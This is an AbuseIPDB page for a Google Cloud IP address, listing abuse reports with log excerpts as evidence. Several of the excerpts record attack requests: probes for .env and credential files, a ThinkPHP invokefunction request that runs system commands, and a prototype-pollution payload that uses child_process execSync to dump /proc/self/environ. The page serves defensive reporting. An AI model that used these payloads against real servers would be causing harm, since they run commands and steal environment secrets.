JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 34.178.234.70

34.178.234.70 was found in our database!

This IP was reported 52 times. Confidence of Abuse is 100%: ?

100%

ISP	Google LLC
Usage Type	Data Center/Web Hosting/Transit
ASN	AS396982
Hostname(s)	70.234.178.34.bc.googleusercontent.com
Domain Name	google.com
Country	🇳🇱 Netherlands
City	Groningen, Groningen

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 34.178.234.70

Whois 34.178.234.70

IP Abuse Reports for 34.178.234.70:

This IP address has been reported a total of 52 times from 37 distinct sources. 34.178.234.70 was first reported on September 23rd 2026, and the most recent report was 10 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇪🇸 robotstxt	2026-09-24 06:35:33 (10 hours ago)	34.178.234.70 - - [24/Sep/2026:06:34:43 +0000] "-" 400 193 "-" "-" "-" edge="34.178.234.70" 34.178.2 ... show more 34.178.234.70 - - [24/Sep/2026:06:34:43 +0000] "-" 400 193 "-" "-" "-" edge="34.178.234.70" 34.178.234.70 - - [24/Sep/2026:06:34:43 +0000] "-" 400 193 "-" "-" "-" edge="34.178.234.70" 34.178.234.70 - - [24/Sep/2026:06:34:43 +0000] "-" 400 193 "-" "-" "-" edge="34.178.234.70" 34.178.234.70 - - [24/Sep/2026:06:34:43 +0000] "-" 400 193 "-" "-" "-" edge="34.178.234.70" 34.178.234.70 - - [24/Sep/2026:06:34:40 +0000] "GET /wp-config.php.swp HTTP/2.0" 400 0 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)" "-" edge="34.178.234.70" ... show less	Web Spam Web App Attack
🇫🇷 IRISIO	2026-09-24 06:31:26 (10 hours ago)	scans/SQL injection/spam posts : 3157 queries	Web App Attack SQL Injection
🇮🇳 evicky2002	2026-09-24 06:00:03 (11 hours ago)	Confirmed malicious by STILWaters CTI platform (score=100, sources=1)	Hacking Brute-Force SSH
🇩🇪 s@ch@	2026-09-24 04:45:01 (12 hours ago)	Jail: plesk-modsecurity \| Web application attack (Plesk ModSecurity)	Web App Attack
🇲🇽 octageeks.com	2026-09-24 04:21:57 (13 hours ago)	Wordpress malicious attack:[octablocked]	Web App Attack
🇺🇸 TPI-Abuse	2026-09-24 03:14:55 (14 hours ago)	(mod_security) mod_security (id:210492) triggered by 34.178.234.70 (70.234.178.34.bc.googleuserconte ... show more (mod_security) mod_security (id:210492) triggered by 34.178.234.70 (70.234.178.34.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Wed Sep 23 23:14:47.293703 2026] [security2:error] [pid 23300:tid 23300] [client 34.178.234.70:48098] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.casinoaffiliateprogramsonline.com.crazycoin.net"] [uri "/.env"] [unique_id "arSVpy3TuQh5dRpXJZmguwAAAAA"] show less	Brute-Force Bad Web Bot Web App Attack
🇪🇸 robotstxt	2026-09-24 03:03:14 (14 hours ago)	34.178.234.70 - - [24/Sep/2026:03:02:12 +0000] "POST / HTTP/2.0" 403 20 "-" "Mozilla/5.0 (compatible ... show more 34.178.234.70 - - [24/Sep/2026:03:02:12 +0000] "POST / HTTP/2.0" 403 20 "-" "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)" "-" edge="34.178.234.70" 34.178.234.70 - - [24/Sep/2026:03:02:12 +0000] "GET /z9x8c7v6b5-debug-trigger-www.ccoocaixabank.net HTTP/2.0" 403 20 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)" "-" edge="34.178.234.70" 34.178.234.70 - - [24/Sep/2026:03:02:12 +0000] "GET /vihxnoom83cu6oj5np9c/ HTTP/2.0" 403 20 "https://www.ccoocaixabank.net/vihxnoom83cu6oj5np9c" "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)" "-" edge="34.178.234.70" 34.178.234.70 - - [24/Sep/2026:03:02:12 +0000] "GET /rxt2ugrd9lh4ta09s15v/ HTTP/2.0" 403 20 "https://www.ccoocaixabank.net/rxt2ugrd9lh4ta09s15v" "CCBot/2.0 (https://commoncrawl.org/faq/)" "-" edge="34.178.234.70" 34.178.234.70 - - [24/Sep/2026:03:02:12 +0000] "GET /api/ HTTP/2.0" 403 20 "https://www.ccoocaixabank.net/api" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537. ... show less	Web App Attack
🇧🇪 cmbplf	2026-09-24 00:00:27 (17 hours ago)	15.149 requests from abuseipdb.com blacklisted IP (7mos6d17h)	Brute-Force Bad Web Bot
🇳🇱 ParaBug	2026-09-23 23:06:02 (18 hours ago)	34.178.234.70 - - [24/Sep/2026:01:06:01 +0200] "GET /login HTTP/2.0" 301 337 "-" "Mozilla/5.0 (Windo ... show more 34.178.234.70 - - [24/Sep/2026:01:06:01 +0200] "GET /login HTTP/2.0" 301 337 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36 Edg/153.0.0.0" ... show less	Phishing Brute-Force Web App Attack
🇺🇸 rsa	2026-09-23 22:19:00 (19 hours ago)	POST /functionRouter HTTP/1.1	DDoS Attack Exploited Host Web App Attack
🇺🇸 monn45888	2026-09-23 20:52:04 (20 hours ago)	$f2bV_matches	Web App Attack
🇨🇭 4server	2026-09-23 20:50:23 (20 hours ago)	[WedSep2322:50:16.4040162026][security2:error][pid1146918:tid1146955][client34.178.234.70:0]ModSecur ... show more [WedSep2322:50:16.4040162026][security2:error][pid1146918:tid1146955][client34.178.234.70:0]ModSecurity:Accessdeniedwithcode403$phase2$.Matchedphrase\"proc/self/\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"135\"][id\"344360\"][rev\"5\"][msg\"Atomicorp.comWAFRules:UnauthorizedOperatingSystemFileAccessAttempt\"][data\"MatchedData:proc/self/foundwithinARGS:0:{\\\\x22then\\\\x22:\\\\x22\$1:__proto__:then\\\\x22\,\\\\x22status\\\\x22:\\\\x22resolved_model\\\\x22\,\\\\x22reason\\\\x22:-1\,\\\\x22value\\\\x22:\\\\x22{/\\\\x22then/\\\\x22:/\\\\x22\$b1337/\\\\x22}\\\\x22\,\\\\x22_response\\\\x22:{\\\\x22_prefix\\\\x22:\\\\x22process.mainmodule.require$\'child_process\'$.execsync$\'env2\>/dev/null\\|\\|cat/proc/self/environ2\>/dev/null\'$\;\\\\x22\,\\\\x22_formdata\\\\x22:{\\\\x22get\\\\x22:\\\\x22\$1:constructor:constructor\\\\x22}}}\"][severity\"CRITICAL\"][tag\"attack-lfi\"][hostname\"www.4hosts.net\"][uri\"/\"][unique_id\"arQ7iCSaPI-sdY4ukv8POAAAAEM\"] show less	Hacking Web App Attack
Anonymous	2026-09-23 20:44:36 (20 hours ago)	34.178.234.70 - - [23/Sep/2026:15:44:36 -0500] "GET /index.php?s=index/\\think\\app/invokefunction&f ... show more 34.178.234.70 - - [23/Sep/2026:15:44:36 -0500] "GET /index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=.env HTTP/2.0" 301 364 "-" "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)" 34.178.234.70 - - [23/Sep/2026:15:44:36 -0500] "GET /index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=/proc/self/environ HTTP/2.0" 301 378 "-" "Mozilla/5.0 (compatible; Bytespider; [email protected]) AppleWebKit/537.36" 34.178.234.70 - - [23/Sep/2026:15:44:36 -0500] "GET /index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env HTTP/2.0" 301 352 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" ... show less	Brute-Force Web App Attack
🇩🇪 LRob	2026-09-23 20:20:16 (21 hours ago)	This address declares itself a crawler and keeps requesting pages after being refused (HTTP 403/429) ... show more This address declares itself a crawler and keeps requesting pages after being refused (HTTP 403/429) and told to stop by robots.txt. A crawler that ignores refusals costs our servers capacity for nothing and is treated as abusive; blocked. Please make it honour robots.txt and the refusals it is given. \| ua: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; [email protected]) (+1 more) \| path: /.env.save (+16 more) \| 2026-09-23 20:20 UTC show less	Bad Web Bot
🇺🇸 wordpresshosting.solutions	2026-09-23 18:48:18 (22 hours ago)	Web app vulnerability scanning detected. Evidence: [IP] - - [23/Sep/2026:18:48:18 +0000] "GET /admin ... show more Web app vulnerability scanning detected. Evidence: [IP] - - [23/Sep/2026:18:48:18 +0000] "GET /admin%2F.env HTTP/1.1" 404 776 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" [IP] - - [23/Sep/2026:18:48:18 +0000] "GET /dashboard%2F.env HTTP/1.1" 404 776 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" show less	Web App Attack

Showing 1 to 15 of 52 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇳🇱 195.178.110.228

🇨🇳 113.45.246.94

🇺🇸 20.163.12.208

🇫🇷 5.189.148.134

🇧🇬 217.79.37.82

🇨🇱 190.5.34.230

🇧🇷 187.84.44.194

🇧🇷 186.216.254.127

🇩🇪 139.59.133.58

🇺🇸 136.67.111.159

🇨🇳 120.48.171.123

🇻🇳 113.164.66.10

🇺🇸 69.49.246.176

🇺🇸 67.175.13.42

🇲🇾 49.125.201.65

🇭🇰 45.207.209.16

🇸🇪 45.130.200.131

🇹🇼 203.217.113.92

🇧🇷 201.32.18.101

🇨🇳 120.246.123.50